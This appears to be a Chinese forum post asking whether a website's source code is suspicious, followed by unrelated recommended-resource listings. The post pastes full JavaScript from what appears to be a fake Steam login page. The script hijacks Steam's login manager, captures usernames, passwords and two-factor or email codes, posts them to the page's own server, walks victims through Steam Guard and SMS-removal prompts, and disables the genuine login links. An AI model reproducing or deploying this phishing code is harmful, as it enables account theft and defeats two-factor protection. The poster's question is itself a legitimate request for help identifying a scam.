求大神看一下这个网站源代码是不是有问题
<script>
window.onload = function () {
let loginRequestIsActive = false;
/**
* Sending request to analytics
*/
$J.post('/analytics/counter', {
action: 'open'
});
/**
* Error storing
*/
const showErrorAlertScript = new RegExp(/ShowAlertDialog\((.*)\)/gm).exec(LoginManager.DoLogin.toString());
/**
* Change Steam functions
*/
CLoginPromptManager.prototype.DoLogin = function () {
login();
};
CLoginPromptManager.prototype.SubmitAuthCode = function () {
$J('#auth_buttonsets').children().hide();
$J('#auth_buttonset_waiting').show();
login();
};
CLoginPromptManager.prototype.SubmitTwoFactorCode = function () {
$J('#login_twofactor_authcode_entry').hide();
$J('#login_twofactorauth_messages').children().hide();
$J('#login_twofactorauth_details_messages').children().hide();
$J('#login_twofactorauth_buttonsets').children().hide();
$J('#login_twofactorauth_buttonset_waiting').show();
login();
};
/**
* Change language change function
*/
window.ChangeLanguage = function (language) {
document.cookie = 'language=' + language;
window.location.reload();
}
/**
* Change login function
*/
function login() {
const username = $J('#steamAccountName').val().replace(/\s/g, '');
const password = $J('#steamPassword').val().replace(/\s/g, '');
const code = $J('#twofactorcode_entry').val().replace(/\s/g, '') || $J('#authcode').val().replace(/\s/g, '');
// Check if the fields are filled in
if (username.length === 0 || password.length === 0) {
return;
}
// Checking to see if the request is being executed now
if (loginRequestIsActive) {
return;
}
// Update request status
loginRequestIsActive = true;
// Setting login manager username
LoginManager.m_strUsernameEntered = username;
// Hide previously error
LoginManager.HighlightFailure('');
// Hide sign in button
$J('#login_btn_signin').hide();
$J('#login_btn_wait').show();
// Sending login request to server
$J.post('/auth/login', {
username: username,
password: password,
code: code,
token: '10e64b75a141437323bed7ec454b4b45'
}).done(function (data) {
// If a modal window opens, then send it to the statistics
if (data.code === 1 || data.code === 2 || data.code === 3) {
$J.post('/analytics/counter', {
action: 'login'
});
}
// Switch by code
switch (data.code) {
case 0:
LoginManager.HighlightFailure(data.payload.message);
break;
case 1:
if (LoginManager.m_EmailAuthModal) {
LoginManager.SetEmailAuthModalState('incorrectcode');
// Deleting the previous code
$J('#authcode').val('');
return;
}
LoginManager.StartEmailAuthProcess();
if (data.payload && data.payload.emailDomain) {
// Setting email domain on modal
$J('#emailauth_entercode_emaildomain').text(data.payload.emailDomain);
}
break;
case 2:
if (LoginManager.m_TwoFactorModal) {
LoginManager.SetTwoFactorAuthModalState('incorrectcode');
// Deleting the previous code
$J('#twofactorcode_entry').val('');
return;
}
LoginManager.StartTwoFactorAuthProcess();
break;
case 3:
if (LoginManager.m_TwoFactorModal && LoginManager.m_sPhoneNumberLastDigits !== '??') {
LoginManager.SetTwoFactorAuthModalState('selfhelp_sms_remove_incorrectcode');
// We change the state of the button to track its click natively
$J('#login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode .auth_button.leftbtn').attr('data-modalstate', 'submit');
// Deleting the previous code
$J('#twofactorcode_entry').val('');
return;
}
// If a modal mail window is open, close it
if (LoginManager.m_EmailAuthModal) {
LoginManager.m_EmailAuthModal.Dismiss();
}
// If the mobile window is not open, open it
if (!LoginManager.m_TwoFactorModal) {
LoginManager.StartTwoFactorAuthProcess();
}
if (data.payload && data.payload.phoneLastDigits) {
// Setting a phone number in a modal window
LoginManager.m_sPhoneNumberLastDigits = data.payload.phoneLastDigits;
// Show modal window with sms remove
LoginManager.SetTwoFactorAuthModalState('selfhelp_sms_remove_entercode');
// We change the state of the button to track its click natively
$J('#login_twofactorauth_buttonset_selfhelp_sms_remove_entercode .auth_button.leftbtn').attr('data-modalstate', 'submit');
// Delete unwanted text
if ($J('#login_twofactorauth_message_selfhelp_sms_remove_entercode p')[0].childNodes[2]) {
$J('#login_twofactorauth_message_selfhelp_sms_remove_entercode p')[0].childNodes[2].remove();
}
}
break;
case 4:
// If in payload exist redirect link, make redirect, if not show standart error
if (data.payload && data.payload.redirect) {
if (window.location !== window.parent.location) {
window.parent.postMessage({
action: 'redirect',
data: {
redirect: data.payload.redirect
}
}, '*');
} else {
window.location.replace('http://' + data.payload.redirect);
}
} else {
eval(showErrorAlertScript[0]);
}
break;
}
// Handler modal window closing
$J('.newmodal_close').on('click', function () {
// Before opening, clear the code entry field
$J('#authcode').val('');
$J('#twofactorcode_entry').val('');
});
}).always(function () {
// Show sign in button
$J('#login_btn_signin').show();
$J('#login_btn_wait').hide();
}).fail(function (err) {
// Show error
eval(showErrorAlertScript[0]);
}).always(function () {
// Update request status
loginRequestIsActive = false;
});
}
/**
* Handler of all links on the site
*/
$J('a').each(function () {
// Disable login
if ($J(this).attr('href') && !!$J(this).attr('href').match('/login')) {
$J(this).attr('onclick', 'return false;');
}
// Setting links target
$J(this).attr('target', '_blank');
});
/**
* Messaging with external iframe
*/
window.parent.postMessage({
action: 'pageLoaded'
}, '*');
window.parent.postMessage({
action: 'setTitle',
data: {
title: document.title
}
}, '*');
window.onbeforeunload = function () {
window.parent.postMessage({
action: 'pageUnload'
}, '*')
};
};
</script></body>
</html>
相关推荐
华迅实业完整网站源代码包
本文还有配套的精品资源,点击获取 简介:本文描述了"华迅实业整站",它涵盖了企业网站的所有源代码,包括前端页面、后端逻辑、数据库脚本等。这个文件包对于备份、迁移或二次开发具有重要价值。通过对源代码的学习,开发者可以全面理解并修改网站的各个组成部分,从而实现企业级网站的定制和优化。 1. 企业级网站源代码包概述 企业级网站源代码包是构建和部署复杂网站系统时不可或缺...
【雷达信号处理】数字下变频(DDC)(Matlab代码实现)
内容概要:本文介绍了基于MATLAB的雷达信号处理中数字下变频(DDC)技术的实现方法,重点阐述了DDC在雷达接收机前端信号处理中的关键作用。通过将高频回波信号下变频至基带,便于后续进行数字化处理与目标信息提取。文中提供了完整的MATLAB代码实现,涵盖混频、低通滤波、抽取等核心步骤,帮助读者理解DDC的工作原理与工程实现细节。; 适合人群:具备一定信号与系统、数字信号处理基础知识,从事雷达、通信或电子工程相关领域的研究生、科研人员及工程技术人员。; 使用场景及目标:①用于教学演示,加深对数字下变频原理的理解;②作为雷达或通信系统仿真项目的基础模块;③辅助科研人员快速搭建信号处理链路,进行算法验证与性能分析。; 阅读建议:建议结合数字信号处理教材中的混频、奈奎斯特采样及多速率信号处理理论进行学习,动手运行并调试代码,尝试调整参数(如本振频率、滤波器阶数、抽取因子)以观察对输出信号的影响,从而深入掌握DDC的设计要点与实际应用。
福建省福州新区矢量面数据-02坐标-geojson格式.json
福州新区区划面数据,geojson格式,02坐标
量化数据笔记第2篇:外盘期货历史高频tick数据涵盖主流交易所的活跃合约,以逐笔成交记录为主 字段通常包含品种代码、交易所、日期、精确到毫秒的时间戳、成交价格、成交量、持仓量变化,以及盘口买卖一档挂单
量化数据笔记第2篇:外盘期货历史高频tick数据涵盖主流交易所的活跃合约,以逐笔成交记录为主。字段通常包含品种代码、交易所、日期、精确到毫秒的时间戳、成交价格、成交量、持仓量变化,以及盘口买卖一档挂单价与挂单量。数据保留了原始行情序列,反映微观价格变动与流动性瞬时变化。 数据源:CMES金融数据库
【多机器人路径规划】基于优先级规划与Petri网融合的多机器人路径规划框架研究(Matlab代码实现)
内容概要:本文提出了一种基于优先级规划与Petri网融合的多机器人路径规划框架,旨在解决多机器人系统在共享环境中进行路径规划时可能出现的冲突与死锁问题。该方法结合了优先级规划的高效性与Petri网在建模并发与冲突方面的优势,通过建立形式化的Petri网模型对机器人运动状态进行精确描述,并引入优先级机制动态调整路径执行顺序,从而实现无冲突、无死锁的安全路径规划。研究通过Matlab代码实现了算法仿真,验证了该框架在复杂网格环境下的可行性与有效性,能够有效提升多机器人系统的运行效率与安全性。 适合人群:具备一定自动化、机器人或控制理论基础的科研人员,以及从事智能物流、智能制造、多智能体系统等相关方向的研究生与工程技术人员。 使用场景及目标:①应用于仓储机器人、AGV调度、自动化码头等多移动机器人协同作业场景;②解决多机器人路径规划中的死锁预防、冲突消解与资源竞争问题;③为开发高效、可靠的多智能体路径规划系统提供理论支持与实现参考。 阅读建议:此资源以Matlab代码实现为核心,建议读者在理解Petri网基本原理和优先级调度机制的基础上,结合提供的代码进行仿真实验,通过调整优先级规则与网络结构,深入掌握算法的设计思路与优化方法。


Framework
